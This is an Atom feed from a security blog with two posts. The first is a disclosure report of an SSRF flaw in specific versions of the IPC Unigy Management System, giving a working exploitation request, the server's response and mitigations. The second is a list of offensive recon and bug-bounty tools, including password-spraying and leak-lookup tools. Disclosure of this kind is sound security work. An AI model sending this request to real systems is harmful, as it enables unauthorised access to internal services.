<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://br484.github.io/atom.xml" rel="self" type="application/atom+xml" /><link href="https://br484.github.io/" rel="alternate" type="text/html" /><updated>2024-11-22T21:25:58+00:00</updated><id>https://br484.github.io/atom.xml</id><title type="html">0xbr484</title><author><name>0xbr484@tuta.io</name></author><entry><title type="html">Vulnerability Report - SSRF</title><link href="https://br484.github.io/vulnerability/2024/06/05/VR/" rel="alternate" type="text/html" title="Vulnerability Report - SSRF" /><published>2024-06-05T23:29:53+00:00</published><updated>2024-06-05T23:29:53+00:00</updated><id>https://br484.github.io/vulnerability/2024/06/05/VR</id><content type="html" xml:base="https://br484.github.io/vulnerability/2024/06/05/VR/"><![CDATA[<h3 id="vulnerability-report-ssrf-in-ipc-unigy-management-system">Vulnerability Report: SSRF in IPC Unigy™ Management System</h3>

<hr />

<h4 id="vulnerability-description">Vulnerability Description</h4>

<p>A Server-Side Request Forgery (SSRF) vulnerability has been identified in the IPC Unigy™ Management System, affecting the following versions:</p>

<ul>
  <li><strong>Unigy™ Version 04.03.00.08.0027</strong></li>
  <li><strong>COP Version 03.00.01.00.0018</strong></li>
  <li><strong>OS Patch Version 06.00.00.34.0008</strong></li>
</ul>

<p>This vulnerability allows a remote attacker to make arbitrary HTTP requests to internal and external resources, using the affected system as a proxy. This can be exploited to access internal data, scan the internal network, and potentially exploit other vulnerabilities that would otherwise be inaccessible externally.</p>

<h4 id="technical-details">Technical Details</h4>

<h5 id="exploitation-request">Exploitation Request</h5>

<p>Below is an example of an HTTP request that exploits the SSRF vulnerability:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET http://127.0.0.1:22 HTTP/1.1
Host: 127.0.0.1
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
</code></pre></div></div>

<h5 id="obtained-response">Obtained Response</h5>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Date: Fri, 31 May 2024 15:01:18 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 19

SSH-2.0-OpenSSH_8.1
</code></pre></div></div>

<h3 id="detailed-exploitation">Detailed Exploitation</h3>

<h4 id="requests-to-internal-ports">Requests to Internal Ports</h4>

<p>Exploitation can be conducted by sending requests to internal ports of the server itself:</p>

<p><img src="assets/image.png" alt="Internal Port Exploitation" /></p>

<h4 id="requests-to-external-sites">Requests to External Sites</h4>

<p>Additionally, requests can be sent to external websites, allowing the exploitation of external services using the vulnerable server as a proxy:</p>

<p><img src="assets/image-1.png" alt="External Site Exploitation" /></p>

<h3 id="impact">Impact</h3>

<p>Successful exploitation of this vulnerability could allow an attacker to:</p>

<ul>
  <li>Access protected internal resources.</li>
  <li>Scan the internal network and discover other vulnerable systems.</li>
  <li>Conduct further attacks based on the information obtained.</li>
</ul>

<h3 id="reproducing-the-vulnerability">Reproducing the Vulnerability</h3>

<ol>
  <li>Send the HTTP request above using a tool such as Burp Suite or Postman.</li>
  <li>Observe the response that returns information about the internal service.</li>
</ol>

<h3 id="suggested-mitigations">Suggested Mitigations</h3>

<p>To mitigate this vulnerability, it is recommended to:</p>

<ul>
  <li>Implement strict validation and sanitization of user inputs.</li>
  <li>Restrict the destinations allowed for requests made by the server.</li>
</ul>

<h3 id="additional-references">Additional References</h3>

<p>Exploiting misconfigured reverse proxies can allow attackers to access internal services through the proxy’s “localhost” interface and other internal hosts. This can be done if the proxy allows connections to the “localhost” interface or internal hosts, which can be used as a rudimentary private network scanner.</p>

<h4 id="exploitation-examples">Exploitation Examples</h4>

<ul>
  <li><strong>Connecting to SSH/SMTP</strong>: A misconfigured HTTP proxy can be exploited to connect to non-HTTP ports, revealing sensitive information about target services.</li>
  <li><strong>Finding Hosts</strong>: With the ability to connect to the private network through a proxy, host and port discovery can be conducted using tools like Burp Intruder to test various hostnames and ports.</li>
</ul>

<p>For more information on exploiting open and misconfigured proxies, see the full article <a href="https://blog.projectdiscovery.io/abusing-reverse-proxies-internal-access/">Abusing Reverse Proxies, Part 2: Internal Access</a>.</p>]]></content><author><name>0xbr484@tuta.io</name></author><category term="vulnerability" /><category term="vulnerability" /><category term="Web" /><summary type="html"><![CDATA[Vulnerability Report: SSRF in IPC Unigy™ Management System]]></summary></entry><entry><title type="html">Primeiro post - Tools</title><link href="https://br484.github.io/tools/2022/07/24/tools/" rel="alternate" type="text/html" title="Primeiro post - Tools" /><published>2022-07-24T23:29:53+00:00</published><updated>2022-07-24T23:29:53+00:00</updated><id>https://br484.github.io/tools/2022/07/24/tools</id><content type="html" xml:base="https://br484.github.io/tools/2022/07/24/tools/"><![CDATA[<p>Ferramentas de recon</p>

<hr />

<p>Tools:</p>

<p>## Osint</p>

<ul>
  <li>Domain information (<a href="https://github.com/rfc1036/whois">whois</a> and <a href="https://github.com/OWASP/Amass">amass</a>)</li>
  <li>Emails addresses and users (<a href="https://github.com/laramies/theHarvester">theHarvester</a> and <a href="https://github.com/Josue87/EmailFinder">emailfinder</a>)</li>
  <li>Password leaks (<a href="https://github.com/davidtavarez/pwndb">pwndb</a> and <a href="https://github.com/khast3x/h8mail">H8mail</a>)</li>
  <li>Metadata finder (<a href="https://github.com/Josue87/MetaFinder">MetaFinder</a>)</li>
  <li>Google Dorks (<a href="https://github.com/six2dez/degoogle_hunter">degoogle_hunter</a>)</li>
  <li>Github Dorks (<a href="https://github.com/damit5/gitdorks_go">gitdorks_go</a>)</li>
</ul>

<h2 id="subdomains">Subdomains</h2>

<ul>
  <li>Passive (<a href="https://github.com/OWASP/Amass">amass</a> and <a href="https://github.com/gwen001/github-subdomains">github-subdomains</a>)</li>
  <li>Certificate transparency (<a href="https://github.com/UnaPibaGeek/ctfr">ctfr</a>)</li>
  <li>Bruteforce (<a href="https://github.com/d3mondev/puredns">puredns</a>)</li>
  <li>Permutations (<a href="https://github.com/Josue87/gotator">Gotator</a>)</li>
  <li>JS files &amp; Source Code Scraping (<a href="https://github.com/jaeles-project/gospider">gospider</a>)</li>
  <li>DNS Records (<a href="https://github.com/projectdiscovery/dnsx">dnsx</a>)</li>
  <li>Google Analytics ID (<a href="https://github.com/Josue87/AnalyticsRelationships">AnalyticsRelationships</a>)</li>
  <li>TLS handshake (<a href="https://github.com/projectdiscovery/tlsx">tlsx</a>)</li>
  <li>Recursive search.</li>
  <li>Subdomains takeover (<a href="https://github.com/projectdiscovery/nuclei">nuclei</a>)</li>
  <li>DNS takeover (<a href="https://github.com/pwnesia/dnstake">dnstake</a>)</li>
  <li>DNS Zone Transfer (<a href="https://linux.die.net/man/1/dig">dig</a>)</li>
  <li>Cloud checkers (<a href="https://github.com/sa7mon/S3Scanner">S3Scanner</a> and <a href="https://github.com/initstring/cloud_enum">cloud_enum</a>)</li>
</ul>

<h2 id="hosts">Hosts</h2>

<ul>
  <li>IP info (<a href="https://www.whoisxmlapi.com/">whoisxmlapi API</a>)</li>
  <li>CDN checker (<a href="https://github.com/six2dez/ipcdn">ipcdn</a>)</li>
  <li>WAF checker (<a href="https://github.com/EnableSecurity/wafw00f">wafw00f</a>)</li>
  <li>Port Scanner (Active with <a href="https://github.com/nmap/nmap">nmap</a> and passive with <a href="https://github.com/s0md3v/Smap">smap</a>)</li>
  <li>Port services vulnerability checks (<a href="https://github.com/offensive-security/exploitdb">searchsploit</a>)</li>
  <li>Password spraying (<a href="https://github.com/x90skysn3k/brutespray">brutespray</a>)</li>
</ul>

<h2 id="webs">Webs</h2>

<ul>
  <li>Web Prober (<a href="https://github.com/projectdiscovery/httpx">httpx</a> and <a href="https://github.com/Edu4rdSHL/unimap">unimap</a>)</li>
  <li>Web screenshot (<a href="https://github.com/maaaaz/webscreenshot">webscreenshot</a> or <a href="https://github.com/sensepost/gowitness">gowitness</a>)</li>
  <li>Web templates scanner (<a href="https://github.com/projectdiscovery/nuclei">nuclei</a> and <a href="https://github.com/geeknik/the-nuclei-templates.git">nuclei geeknik</a>)</li>
  <li>Url extraction (<a href="https://github.com/tomnomnom/waybackurls">waybackurls</a>, <a href="https://github.com/lc/gau">gau</a>, <a href="https://github.com/jaeles-project/gospider">gospider</a>, <a href="https://gist.github.com/six2dez/d1d516b606557526e9a78d7dd49cacd3">github-endpoints</a> and <a href="https://github.com/w9w/JSA">JSA</a>)</li>
  <li>URLPatterns Search (<a href="https://github.com/tomnomnom/gf">gf</a> and <a href="https://github.com/1ndianl33t/Gf-Patterns">gf-patterns</a>)</li>
  <li>XSS (<a href="https://github.com/hahwul/dalfox">dalfox</a>)</li>
  <li>Open redirect (<a href="https://github.com/r0075h3ll/Oralyzer">Oralyzer</a>)</li>
  <li>SSRF (headers <a href="https://github.com/projectdiscovery/interactsh">interactsh</a> and param values with <a href="https://github.com/ffuf/ffuf">ffuf</a>)</li>
  <li>CRLF (<a href="https://github.com/dwisiswant0/crlfuzz">crlfuzz</a>)</li>
  <li>Favicon Real IP (<a href="https://github.com/pielco11/fav-up">fav-up</a>)</li>
  <li>Javascript analysis (<a href="https://github.com/lc/subjs">subjs</a>, <a href="https://github.com/w9w/JSA">JSA</a>, <a href="https://github.com/xnl-h4ck3r/xnLinkFinder">xnLinkFinder</a>, <a href="https://github.com/m4ll0k/BBTz">getjswords</a>)</li>
  <li>Fuzzing (<a href="https://github.com/ffuf/ffuf">ffuf</a>)</li>
  <li>Cors (<a href="https://github.com/s0md3v/Corsy">Corsy</a>)</li>
  <li>LFI Checks (<a href="https://github.com/ffuf/ffuf">ffuf</a>)</li>
  <li>SQLi Check (<a href="https://github.com/sqlmapproject/sqlmap">SQLMap</a>)</li>
  <li>SSTI (<a href="https://github.com/ffuf/ffuf">ffuf</a>)</li>
  <li>CMS Scanner (<a href="https://github.com/Tuhinshubhra/CMSeeK">CMSeeK</a>)</li>
  <li>SSL tests (<a href="https://github.com/drwetter/testssl.sh">testssl</a>)</li>
  <li>Broken Links Checker (<a href="https://github.com/jaeles-project/gospider">gospider</a>)</li>
  <li>Prototype Pollution (<a href="https://github.com/dwisiswant0/ppfuzz">ppfuzz</a>)</li>
  <li>URL sorting by extension</li>
  <li>Wordlist generation</li>
  <li>Passwords dictionary creation (<a href="https://github.com/LandGrey/pydictor">pydictor</a>)</li>
</ul>]]></content><author><name>0xbr484@tuta.io</name></author><category term="Tools" /><category term="Bug Bounty" /><category term="Recon" /><category term="Osint" /><category term="Subdomains" /><category term="Web" /><category term="Hosts" /><summary type="html"><![CDATA[Ferramentas de recon]]></summary></entry></feed>